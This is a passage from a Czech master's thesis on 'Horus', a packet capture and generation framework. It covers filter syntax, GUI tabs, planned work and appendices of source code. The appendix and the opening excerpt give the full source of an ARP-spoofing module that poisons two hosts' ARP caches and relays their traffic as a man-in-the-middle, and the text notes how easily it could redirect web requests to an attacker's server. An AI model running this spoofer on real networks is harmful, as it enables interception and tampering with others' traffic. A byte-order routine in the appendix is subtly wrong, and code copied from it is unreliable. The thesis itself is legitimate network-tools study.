  TreeClass Ethernet = Fake_ARP1.tc["Ethernet"]; 
  Ethernet["Destination"].SetValue(_MAC1); 
  Ethernet["Source"].SetValue(_MyMAC); 
  Ethernet["Ethernet type"].SetValue(0x0806); //ARP 
//Po každé úpravě, která vede ke změně datových polí v rámci, je 
//nutné znovu zpracovat rámec 
  HorusCore.ParseFrame(Fake_ARP1); 
  TreeClass ARP = Ethernet["ARP"]; 
  ARP["HTYPE"].SetValue(0x0001);    //Ethernet 
  ARP["PTYPE"].SetValue(0x0800);    //IPv4 
  ARP["HLEN"].SetValue(6); 
  ARP["PLEN"].SetValue(4); 
  ARP["Operation"].SetValue(0x0002);  //Reply 
  HorusCore.ParseFrame(Fake_ARP1);   //Musí se znovu zpracovat 
  ARP = Ethernet["ARP"]; 
  ARP["HW_Src"].SetValue(_MyMAC); 
  ARP["P_Src"].SetValue(_IP2); 
  ARP["HW_Dst"].SetValue(_MAC1); 
  ARP["P_Dst"].SetValue(_IP1); 
 
  //Fake_ARP2 
//Pro jednoduchost je druhý ARP paket vytvořen z prvního. Všechna 
//data se zkopírují, a proto stačí provést jen drobné změny 
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  Fake_ARP2 = Fake_ARP1.Duplicate(); 
  Ethernet = Fake_ARP2.tc["Ethernet"]; 
  Ethernet["Destination"].SetValue(_MAC2); 
  ARP = Ethernet["ARP"]; 
  ARP["HW_Src"].SetValue(_MyMAC); 
  ARP["P_Src"].SetValue(_IP1); 
  ARP["HW_Dst"].SetValue(_MAC2); 
  ARP["P_Dst"].SetValue(_IP2); 
 
//Po spuštění časovače dojde k odesílání ARP rámců. Ještě je nutné 
//informovat jádro o změně filtrů funkci HorusCore.UpdateFilters. 
  timer.Enabled = true; 
  HorusCore.UpdateFilters(); 
 } 
 
 Funkce Deactivate zastaví modul. Je nutné obnovit původní cestu komunikace – 
odeslání ARP paketů se skutečně správnými hodnotami. Funkce je velmi 
podobná metodě Activate. 
 void Deactivate() 
 
 Po vypršení časovače dojde k odeslání ARP odpovědí 
 void timer_Elapsed(object sender, ElapsedEventArgs e) 
 { 
  _FrameSender.Send(Fake_ARP1.Frame.Data, …); //Odeslat ARP 1. PC 
  _FrameSender.Send(Fake_ARP2.Frame.Data, …); //Odeslat ARP 2. PC 
 } 
 
 Metoda ProcessFrame je volána po příjmu paketu, jenž vyhovuje filtru, který 
modul požadoval. Zde je nutné MAC adresy a paket přeposlat skutečnému 
příjemci. 
 public void ProcessFrame(ParserWorkItem pwi) 
 { 
  ParserWorkItem send_pwi = null;  
  TreeClass Ethernet = pwi.tc["Ethernet"]; 
  TreeClass sEthernet; 
  if (Ethernet["Source"] == _MAC2)  //Od PC2 - přeposlat PC1 
  { 
   send_pwi = pwi.Duplicate(); 
   sEthernet = send_pwi.tc["Ethernet"]; 
   sEthernet["Source"].SetValue(_MyMAC); 
   sEthernet["Destination"].SetValue(_MAC1); 
_FrameSender.Send(send_pwi.Frame.Data, …); 
  } 
  else if (Ethernet["Source"] == _MAC1) //Od PC1 - přeposlat PC2 
  { 
   // Velmi podobné jako v prvním případě 
  } 
 
  //Nakonec je nutné uvolnit objekty pro další rámce. 
send_pwi.Release(); 
  pwi.Release(); 
} 
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Psaní modulů je poměrně jednoduché. Je však zdlouhavé – programátor 
musí vyplnit všechna datová pole. V budoucnu by mělo být možné toto vyplňování 
zjednodušit pomocí modulů IFieldFiller. Přístup k jednotlivým datovým polím je 
stejný jako při konfiguraci filtrů. To je popsáno v následující kapitole. 
6.10. FORMÁT FILTRŮ  
Celý program je navržen tak, aby psaní filtrů odpovídalo parserům. Filtr tedy musí 
odpovídat použité sadě parserů. Existují dvě možnosti přístupu k hledanému 
datovému poli. 
 Procházení stromové struktury až k hledané hodnotě.   
Například Ethernet->IPv4->TCP->Source Port 
 Vyhledávání v protokolech.  
Například TCP->Source Port 
Filtr se zadává ve formě rovnice v jazyce C#, jejíž výsledek musí být true, 
nebo false. Jádro ze všech požadovaných filtrů sestaví kód, který vygeneruje pole 
hodnot typu boolean, kde každý výsledek odpovídá jednomu modulu nebo 
uživatelskému rozhraní. Jelikož jádro vkládá filtr do zdrojového kódu objektu 
IFilter, je nutné před filtr vložit klíčové slovo „Frame“. Rovnice musí být ukončena 
středníkem. Například filtr, který propustí TCP pakety se zdrojovým portem 80, by 
vypadal následovně: 
 Frame[“Ethernet“][“IPv4“][“TCP“][“Source Port“] == 80; 
nebo 
 Frame [“TCP“][“Source Port“] == 80; 
Pokud hodnota pole neodpovídá požadovanému výsledku nebo není pole 
v paketu vůbec nalezeno, je výsledek porovnání false. 
Rovnice je možné spojovat pomocí logických operátorů, a vytvořit tak 
složitější filtr. 
 (Frame [“TCP“][“Source Port“] == 80)  ||  
(Frame [“TCP“][“Destination Port“] == 80); 
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6.10.1.  SESTAVENÍ FILTROVACÍH O OBJEKTU  
Uživatelské rozhraní nastavuje svůj filtr metodou jádra HorusCore.SetFilter. 
Parametrem funkce je proměnná typu string, která obsahuje filtrovací řetězec. 
Metoda HorusCore.UpdateFilters vyvolá aktualizace všech filtrů. Jádro se 
dotáže všech načtených a používaných DP-modulů na to, jaké požadují pakety 
přečtením proměnné IDPModule.Filter. Z těchto řetězců sestaví pole, na jehož 
nulté pozici je řetězec patřící uživatelskému rozhraní. Toto pole předá objektu 
FilterBuilder, který vygeneruje zdrojový kód v jazyce C# a přeloží ho do 
spustitelného kódu pomocí modulu překladače – v současné době 
Horus.Compiler.MS.dll. Jakmile proběhnou předcházející kroky bez chyb, je starý 
filtrovací objekt nahrazen novým.  
Každé vlákno zpracovávající přijaté rámce se dotáže jádra na aktuální verzi 
filtrovacího objektu a porovná ho s verzí uloženou v používaném objektu 
ParserWorkItem. Pokud hodnoty nesouhlasí, dojde k aktualizaci tohoto objektu 
v PWI a filtrování proběhne s již novými hodnotami. 
6.11. UŽIVATELSKÉ ROZHRANÍ  
Struktura programu je navržena tak, aby jádro programu běželo nezávisle na 
uživatelském rozhraní. To je možné vytvořit v libovolném .NET jazyce i vzhledu – 
grafické, konzolové, webová stránka. 
Součástí balíku je grafické uživatelské rozhraní GUI napsané v jazyce C#. Bylo 
programováno společně s jádrem, takže umožňuje využít téměř všechny funkce 
knihovny HorusCore. 
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6.11.1.  ZÁLOŽKA DOMŮ  
Po spuštění programu horus.exe se zobrazí úvodní stránka 20 , která 
umožňuje pomocí několika kliknutí vybrat moduly a spustit zachytávání. Jádro 
podporuje řízení uživatelských účtů UAC ve Windows Vista, takže ještě před 
spuštěním si mohou některé moduly vyžádat zadání hesla administrátora kvůli 
spuštění potřebných systémových služeb – například WinPCap21. 
 
Obrázek 16: Úvodní stránka programu Horus ve Windows Vista 
  
                                                        
20 Vzhled se v různých operačních systémech může mírně lišit. 
21 V závislosti na způsobu instalace ovladače. 
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6.11.2.  ZÁLOŽKA MODULES  
Na této obrazovce je možné vybrat zachytávací moduly, které budou použity. Po 
aktivaci a kliknutí na název modulu se zde také zobrazí seznam možných 
parametrů, které je možné nakonfigurovat a pomocí kterých je možné ovládat 
chování zachytávacího modulu. 
6.11.3.  ZÁLOŽKA CAPTURE  
Na této záložce je možné prohlížet již zachycené pakety. Její rozložení je stejné jako 
u programů podobného typu. Po vybrání paketu požádá GUI jádro o zpracování 
paketu s daným ID. Jakmile je zpracování dokončeno, zobrazí se v okně stromová 
struktura odpovídající paketu. V pravé části je vypsán obsah v šestnáctkové a 
v textové formě. Znak s hodnotou 0 je nahrazen „~“. 
 
Obrázek 17: Záložka Capture 
Dále by zde mělo být možné nastavit zobrazovací filtry. Tato část programu však 
ještě není dokončená. Zobrazovací filtr je napevno nastaven ve zdrojovém kódu. 
Více v kapitole 6.12. Pokračování práce. 
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6.11.4.  ZÁLOŽKA GEN ERATE  
Na tomto místě je možné generovat pakety a ty poté odesílat22 na síťové rozhraní. 
Sestavení paketu probíhá podobně jako jeho zobrazení. 
Manual 
Nejdříve je nutné vybrat typ rámce. Na obrázku je to EthernetFrame. Tím se 
do levého okna automaticky vyplní první datová pole, která jsou v rámci obsažena 
– protokol Ethernet. Po vybrání konkrétního datového pole je možné zadat jeho 
hodnotu. Na obrázku je vybráno pole „Ethernet type“, které udává typ protokolu 
nesený ethernetem. V pravém sloupci se zobrazuje nápověda. Do horního řádku je 
možné zadat hodnotu ve formátu D(dekadický) nebo 0xHHHH(hexadecimální). 
Případně je možné vybrat jednu z předdefinovaných hodnot – IEEE802_3, IPv4, 
IPv6, nebo ARP. V dolním, prázdném, okně by měly být zobrazeny dostupné 
IFieldFiller moduly. Odeslání proběhne stisknutím tlačítka Send (není na obrázku). 
 
 
Obrázek 18: Manuální generování paketů 
  
                                                        
22 Pokud to zachytávací modul podporuje 
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Automatic 
Automatické generování paketů využívá DPModuly. V levém sloupci jsou 
zobrazeny všechny dostupné moduly. V prostředním je seznam aktuálně 
zavedených. Po vybrání modulu se zobrazí jeho konfigurace. Zde je možné 
DPmodul, v tomto případě ARPSpoof, nastavit tak, aby vykonával požadovanou 
činnost. 
 
Obrázek 19: Automatické generování paketů 
6.11.5.  ZÁLOŽKA INFO  
V této záložce se zobrazují informace o běhu programu a statistiky o zachycených 
paketech. V současnosti zde je pouze okno ukazující páry MAC adresa/IP adresa. 
 
Obrázek 20: Záložka Info – podzáložka Pairs23 
                                                        
23 MAC adresa 00:21:29:89:E3:A5 je v seznamu několikrát, to znamená, že se jedná o bránu. 
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6.12. POKRAČOVÁNÍ PRÁCE  
Celý projekt je velmi rozsáhlý a skládá se z několika velkých částí – jádro, 
uživatelské rozhraní, parsery a několik modulů. V první řadě jsem se snažil 
naprogramovat jádro tak, aby bylo co nejrychlejší a zároveň poskytovalo co nejvíce 
možností využití. Některé kosmetické funkce proto nejsou dokončeny. Přestože je 
program plně funkční, bylo by možné ho rozšířit ještě o několik drobných detailů, 
které by práci s ním zjednodušily a urychlily. 
6.12.1.  PŘEKLAD PARSERŮ  
V současné vývojové verzi je překlad parserů řešen běžným způsobem, tj. ke 
generování spustitelného kódu dochází společně s ostatními komponentami 
balíku. Podle zadání práce je nutné, aby k překladu docházelo až po spuštění 
programu. Toho je možné dosáhnout změnou jednoho řádku ve zdrojovém kódu 
jádra24. 
6.12.2.  VYHLEDÁVÁNÍ DLL  KNIHOVEN  
Podobně jako parsery jsou i knihovny zadány napevno ve zdrojovém kódu 
z důvodu snazšího odlaďování programu. Bylo by vhodné upravit funkci načítání25 
tak, aby automaticky vyhledala všechny DLL soubory v daném adresáři a pokusila 
se je načíst. 
6.12.3.  MODUL IF I ELDF ILLER  
Tento typ modulu by měl sloužit pro automatické vyplňování hodnot do 
generovaných rámců. Vytvoření modulu by mělo být jednoduché, avšak vnitřní 
správa použitých modulů je velmi náročná, neboť je nutné generující funkci 
poskytnout celý obsah rámce. Zároveň se jí musí předat informace, kam má svůj 
výsledek uložit. Bylo by vhodné, aby tyto moduly byly stavové, tj. aby 
vygenerovaná hodnota mohla záviset na předcházejícím výsledku. Při používání 
těchto modulů také záleží na pořadí – nejdříve se musí spočítat CRC ICMP 
protokolu a poté CRC IP protokolu, atd. 
6.12.4.  UKLÁDÁNÍ PAKETŮ DO SOUBORU  
Jádro po spuštění zachytávání začne veškeré pakety ukládat do souboru ve 
formátu PCAP_NG. Zvolí však náhodné jméno souboru v dočasném adresáři 
uživatele. Rozšířením uživatelského rozhraní by byl dialog pro volbu cesty a jména 
souboru. 
6.12.5.  RUČNÍ VYPLŇOVÁNÍ DA T DO RÁMCŮ  
Uživatel má možnost vygenerovat vlastní paket, ovšem pouze podle jakési šablony, 
která je sestavena z načtených parserů. V některých případech by se mohlo hodit 
vytvořit zcela nesmyslný paket zadáním například binárních, nebo šestnáctkových 
                                                        
24 HorusCore\Modules\AssemblyManager.cs změna v metodě LoadAssemblies() 
25 Metoda LoadAssemblies – stejně jako načítání parserů 
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hodnot. Jádro HorusCore je na tuto možnost připraveno, je pouze nutné dodělat 
potřebné uživatelské rozhraní.  
6.13. POROVNÁNÍ S  PODOBNÝMI PROGRAMY  
Existuje velké množství aplikací pro zachytávání a zpracovávání síťové 
komunikace. Často se liší cenou nebo nadstandardními funkcemi, jako například 
zachytávání dat na vzdálené stanici, čtení informací ze síťových prvků a podobně. 
Málokterý program však umožňuje jednoduše definovat nové protokoly. Jedním 
z nich je například MS Network Monitor. Zřejmě ale neexistuje program, který by 
umožňoval uživateli snadno generovat síťovou komunikaci. Většina takovýchto 
programů je jednoúčelová – provádí například pouze ARP spoofing26. Některé 
utility běžící v příkazové řádce umožňují větší možnosti konfigurace. Přesto však 
není možné provést například útok typu man in the middle a veškerou komunikaci 
nejen sledovat, ale také podle zadaných pravidel upravovat. K tomu v mém 
programu slouží data-processing moduly. Plugin ARPSpoof přiložený v balíku 
pouze přeposílá přijatá data dále bez úprav, ale jeho rozšíření tak, aby například 
veškeré požadavky na webové stránky přesměroval na útočníkův server, by mělo 
být velmi jednoduché. Zároveň můj program není omezen pouze na sítě typu 
ethernet. Data je možné číst z jakéhokoliv rozhraní nebo zařízení, pro který 
existuje capture modul. 
                                                        
26 WinArpSpoofer 
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7. ZÁVĚR 
Cílem této diplomové práce bylo seznámit se se způsobem zpracování a vytváření 
rámců. Na základě těchto znalostí jsem vytvořil program, který pracuje podobně 
jako protokolový ovladač v operačním systému a umožňuje uživateli řídit svou 
činnost pomocí parserů.  
Program v porovnání s konkurencí neprovádí některé základní funkce jako 
například překlad IP adres na doménová jména. To je však nutná cena za to, že 
aplikace není pevné vázána na nějaký konkrétní protokol nebo přenosovou 
technologii, ale umožňuje zachytávat data i na přenosech, kde se podobné funkce 
nepoužívají. 
Aplikace využívá ke zpracování rámců definice uložené v textových 
souborech ve formátu zdrojového kódu jazyka C#. Pomocí nich je možné 
nadefinovat nové protokoly. Přiloženy jsou příklady pro NMEA věty, které jsou 
používány při přenosech zeměpisných souřadnic z GPS modulů. 
Vytvořený program má ještě některé drobné nedostatky. Přestože jsem 
návrhu a programování věnoval velké množství času, je doba, kterou jsme měli na 
vypracování diplomové práce, poměrně krátká na vytvoření aplikace takového 
rozsahu. Během vývoje se objevilo několik složitých problémů, které programování 
výrazně ztížily. Jedním z nich je například správa paměti a výkon platformy .NET 
při datových přesunech. Další složitou částí bylo zavedení vícevláknového 
zpracování rámců, při kterém je nutná velmi složitá správa objektů PWI a 
synchronizace přístupu ke zdrojům tak, aby ve výsledku nebyl program ještě 
pomalejší, než při použití jednoho vlákna.  
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PŘÍLOHA 1 – DEFINOVANÉ PROTOKOLY A DATOVÁ POLE  
Veškeré definice jsou uloženy v adresáři Horus.Parsers. Visual studio je nastaveno 
tak, aby celý tento adresář zkopírovalo k výslednému spustitelnému souboru. Ten 
je tak může načíst ve formě knihovny, nebo jako zdrojové kódy, které si sám 
přeloží. 
Fields Datová pole 
 ARP_Operation.cs ARP operace 
Bits.cs Pole o délce x bitů. např: IP- Fragment offset – 13 bitů 
Data.cs Všeobecná data 
EtherType.cs Typ rámce 
HWAddr.cs MAC adresa 
ICMP_Code.cs Kód ICMP 
ICMP_Type.cs Typ ICMP 
IPv4_Address.cs IPv4 Adresa 
IPv4_Protocol.cs Protokol nesený v IPv4 
NMEALatLonLetter.cs NMEA – Znak souřadnice 
NMEALatLonNumber.cs NMEA – Číslo souřadnice 
NMEASentence.cs NMEA – Typ věty 
NMEATime.cs NMEA  - čas 
NMEAVarField.cs NMEA – Základní třída 
NMEA_GSA_Mode.cs NMEa – Přesnost 
NMEA_RMC_Status.cs NMEA – RMC 
U1Byte.cs Pole o délce 1B 
U2Byte_HostOrder.cs Pole o délce 2B 
U4Byte.cs Pole o délce 4B 
Frames Rámec 
 EthernetFrame.cs Ethernetový rámec 
NMEAFrame.cs NMEA věta 
TextFrame.cs Textová zpráva 
MultiFIelds Skupiny datových polí 
 IPv4_Options.cs Rozšířené volby IPv4 
IPv4_OptionsHeader.cs Hlavička rozšířených voleb IPv4 
IPv4_TOS.cs IPv4 Type of service 
Protocols Protokoly 
 ARP.cs ARP 
DNS.cs DNS 
Ethernet.cs Ethernet 
ICMP.cs ICMP 
IPv4.cs IPv4 
NMEA.cs NMEA věta 
NMEA_GGA.cs NMEA – GGA 
NMEA_GSA.cs NMEA – GSA 
NMEA_GSV.cs NMEA – GSV 
NMEA_RMC.cs NMEA – RMC 
TCP.cs TCP 
Text_Link.cs Protokol do textového rámce 
Text_Net.cs Protokol do textového rámce 
UDP.cs UDP 
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PŘÍLOHA 2 – DATOVÉ POLE U4BYTE_HOSTORDER 
using …; 
 
namespace Horus.Parsers 
{ 
 [Attribute_FieldLength(4 * 8)] 
 [Attribute_DataType(typeof(UInt32))] 
 [Attribute_DataType(typeof(string), "D", "0xHHHHHHHH")] 
 abstract class U4Byte_HostOrder : Base_Field 
 { 
  public override bool Compare(object o) 
  { return base.Compare(o);  } 
 
  public override unsafe object GetValue() 
  { 
return (uint)((this[0]<<24)+(this[1]<<16)+ 
(this[2]<<16)+this[3]); 
  } 
 
  public unsafe override ushort SetValue(object o) 
  { 
   if (o != null) 
   { 
    bool valid = false; 
    uint ui = 0; 
    if (o.GetType().Equals(typeof(string)))  //string 
    { 
     string s = o as string; 
     if (s.IndexOf("0x") == 0 || s.IndexOf("0X") == 0)  //0x 
if (uint.TryParse(s.Substring(2, s.Length - 2),  
NumberStyles.HexNumber, null, out ui)) 
       valid = true; 
      else{} 
     else if (uint.TryParse(s, out ui))      //D 
      valid = true; 
    } 
    else if (o.GetType().Equals(typeof(uint))) //uint 
    { 
     ui = (uint)o; 
     valid = true; 
    } 
    else          //Ostatní 
     base.SetValue(o); 
 
    if (valid) 
    { 
     this[3] = (byte)(ui & 0xff); 
     this[2] = (byte)((ui >> 8) & 0xff); 
     this[1] = (byte)((ui >> 16) & 0xff); 
     this[0] = (byte)((ui >> 24) & 0xff); 
    } 
 
   } 
   else throw new NotImplementedException(); 
   return 0; 
  } 
 } 
} 
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PŘÍLOHA 3 - DPMODUL ARPSPOOF 
using System; 
using Horus.Base.DPModule; 
using Horus.Base.Attributes; 
using System.Timers; 
using Horus.Core; 
using Horus.Base.CaptureModule; 
using Horus.Core.ObjectPool; 
using Horus.Base.Parsers; 
namespace Horus.DPModule.ARPSpoof 
{ 
 [Attribute_Name("ARP Spoofer")] 
 [Attribute_Description("Pravidelně odesílá ARP pakety")] 
 public class ARPSpoof : IDPModule 
 { 
  string _MAC1; 
  string _MAC2; 
  string _MyMAC; 
  string _IP1; 
  string _IP2; 
  string _MyIP; 
 
  Timer timer = new Timer(1000); 
  IFrameSender _FrameSender; 
 
  [MacAddressAttribute("MAC Address 1")] 
  public string MAC1 
  { 
   get { return _MAC1; } 
   set { _MAC1 = value; } 
  } 
  [IPAddressAttribute("IP Address 1")] 
  public string IP1 
  { 
   get { return _IP1; } 
   set { _IP1 = value; } 
  } 
  [MacAddressAttribute("My MAC Address")] 
  public string MyMAC 
  { 
   get { return _MyMAC; } 
   set { _MyMAC = value; } 
  } 
  [IPAddressAttribute("My IP Address")] 
  public string MyIP 
  { 
   get { return _MyIP; } 
   set { _MyIP = value; } 
  } 
  [MacAddressAttribute("MAC Address 2")] 
  public string MAC2 
  { 
   get { return _MAC2; } 
   set { _MAC2 = value; } 
  } 
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[IPAddressAttribute("IP Address 2")] 
  public string IP2 
  { 
   get { return _IP2; } 
   set { _IP2 = value; } 
  } 
  [IntRangeAttribute("Resend interval (s)", 1, 30)] 
  public int Refresh 
  { 
   get { return (int)timer.Interval / 1000; } 
   set { timer.Interval = value * 1000; } 
  } 
  [IFrameSenderAttribute("Interface", LinkType.LINKTYPE_ETHERNET)] 
  public IFrameSender FrameSender 
  { 
   get { return _FrameSender; } 
   set { _FrameSender = value; } 
  } 
  public bool Active 
  { 
   get { return timer.Enabled; } 
   set { if (value == true) Activate(); else Deactivate(); } 
  } 
  string _Filter = "false;"; 
 
  public string Filter 
  { 
   get { return _Filter; } 
  } 
 
  public void Init() 
  { 
   timer.Enabled = false; 
   timer.Elapsed += new ElapsedEventHandler(timer_Elapsed); 
 
  } 
 
  ParserWorkItem Fake_ARP1 = null; 
  ParserWorkItem Fake_ARP2 = null; 
 
void timer_Elapsed(object sender, ElapsedEventArgs e) 
  { 
   //Odeslat ARP pakety 
   _FrameSender.Send(Fake_ARP1.Frame.Data, 
Fake_ARP1.Frame.bit_length / 8);  //Odeslat ARP 2. PC 
 
   _FrameSender.Send(Fake_ARP2.Frame.Data, 
Fake_ARP2.Frame.bit_length / 8);  //Odeslat ARP 2. PC 
  } 
 
  public void Update() 
  { 
  } 
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void Deactivate() 
  { 
   HorusCore.ParseFrame(Fake_ARP1); 
   TreeClass Ethernet = Fake_ARP1.tc["Ethernet"]; 
   Ethernet["Destination"].SetValue(_MAC1); 
   Ethernet["Source"].SetValue(_MyMAC); 
   Ethernet["Ethernet type"].SetValue(0x0806); //ARP 
   HorusCore.ParseFrame(Fake_ARP1); 
 
   TreeClass ARP = Ethernet["ARP"]; 
   ARP["HW_Src"].SetValue(_MAC2); 
   ARP["P_Src"].SetValue(_IP2); 
   ARP["HW_Dst"].SetValue(_MAC1); 
   ARP["P_Dst"].SetValue(_IP1); 
   HorusCore.ParseFrame(Fake_ARP1); 
 
   //Fake_ARP2 
   Ethernet = Fake_ARP2.tc["Ethernet"]; 
   Ethernet["Destination"].SetValue(_MAC2); 
 
   ARP = Ethernet["ARP"]; 
   ARP["HW_Src"].SetValue(_MAC1); 
   ARP["P_Src"].SetValue(_IP1); 
   ARP["HW_Dst"].SetValue(_MAC2); 
   ARP["P_Dst"].SetValue(_IP2); 
   HorusCore.ParseFrame(Fake_ARP2); 
 
   _FrameSender.Send(Fake_ARP1.Frame.Data, 
     Fake_ARP1.Frame.bit_length / 8);  //Odeslat ARP 1. PC 
 
   _FrameSender.Send(Fake_ARP2.Frame.Data, 
Fake_ARP2.Frame.bit_length / 8);  //Odeslat ARP 2. PC 
 
   Fake_ARP1.Release(); 
   Fake_ARP2.Release(); 
 
   timer.Enabled = false; 
   _Filter = "false;"; 
   HorusCore.UpdateFilters(); 
  } 
 
  void Activate() 
  { 
   _Filter = "((Frame[\"Ethernet\"][\"Destination\"] == \"" + 
_MyMAC + "\" ) && (Frame[\"Ethernet\"][\"IPv4\"]" +  
"[\"Destination Address\"] != \"" + _MyIP + "\"));"; 
 
   //Fake_ARP1 
   Fake_ARP1 = HorusCore.GetPWI(LinkType.LINKTYPE_ETHERNET); 
   HorusCore.ParseFrame(Fake_ARP1); 
   TreeClass Ethernet = Fake_ARP1.tc["Ethernet"]; 
   Ethernet["Destination"].SetValue(_MAC1); 
   Ethernet["Source"].SetValue(_MyMAC); 
   Ethernet["Ethernet type"].SetValue(0x0806); //ARP 
   HorusCore.ParseFrame(Fake_ARP1); 
 
   TreeClass ARP = Ethernet["ARP"]; 
   ARP["HTYPE"].SetValue(0x0001);      //Ethernet 
   ARP["PTYPE"].SetValue(0x0800);      //ARP 
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   ARP["HLEN"].SetValue(6); 
   ARP["PLEN"].SetValue(4); 
   ARP["Operation"].SetValue(0x0002);    //Reply 
   HorusCore.ParseFrame(Fake_ARP1); 
 
   ARP = Ethernet["ARP"]; 
   ARP["HW_Src"].SetValue(_MyMAC); 
   ARP["P_Src"].SetValue(_IP2); 
   ARP["HW_Dst"].SetValue(_MAC1); 
   ARP["P_Dst"].SetValue(_IP1); 
 
   //Fake_ARP2 
   Fake_ARP2 = Fake_ARP1.Duplicate(); 
   Ethernet = Fake_ARP2.tc["Ethernet"]; 
   Ethernet["Destination"].SetValue(_MAC2); 
   ARP = Ethernet["ARP"]; 
   ARP["HW_Src"].SetValue(_MyMAC); 
   ARP["P_Src"].SetValue(_IP1); 
   ARP["HW_Dst"].SetValue(_MAC2); 
   ARP["P_Dst"].SetValue(_IP2); 
 
   timer.Enabled = true; 
 
   HorusCore.UpdateFilters(); 
   timer_Elapsed(null, null); 
  } 
 
  public void ProcessFrame(ParserWorkItem pwi) 
  { 
   ParserWorkItem send_pwi = null;  
   bool send = false; 
 
   TreeClass Ethernet = pwi.tc["Ethernet"]; 
   TreeClass sEthernet; 
   if (Ethernet["Source"] == _MAC2)  //Od PC2 - přeposlat PC1 
   { 
    send_pwi = pwi.Duplicate(); 
    sEthernet = send_pwi.tc["Ethernet"]; 
    sEthernet["Source"].SetValue(_MyMAC); 
    sEthernet["Destination"].SetValue(_MAC1); 
    send = true; 
   } 
   else if (Ethernet["Source"] == _MAC1) //Od PC1 - přeposlat PC2 
   { 
    send_pwi = pwi.Duplicate(); 
    sEthernet = send_pwi.tc["Ethernet"]; 
    sEthernet["Source"].SetValue(_MyMAC); 
    sEthernet["Destination"].SetValue(_MAC2); 
    send = true; 
   } 
 
   if (send) 
    _FrameSender.Send(send_pwi.Frame.Data, 
send_pwi.Frame.bit_length / 8); 
   if (send_pwi != null) 
     send_pwi.Release(); 
 
   pwi.Release(); 
  } 
 } 
} 
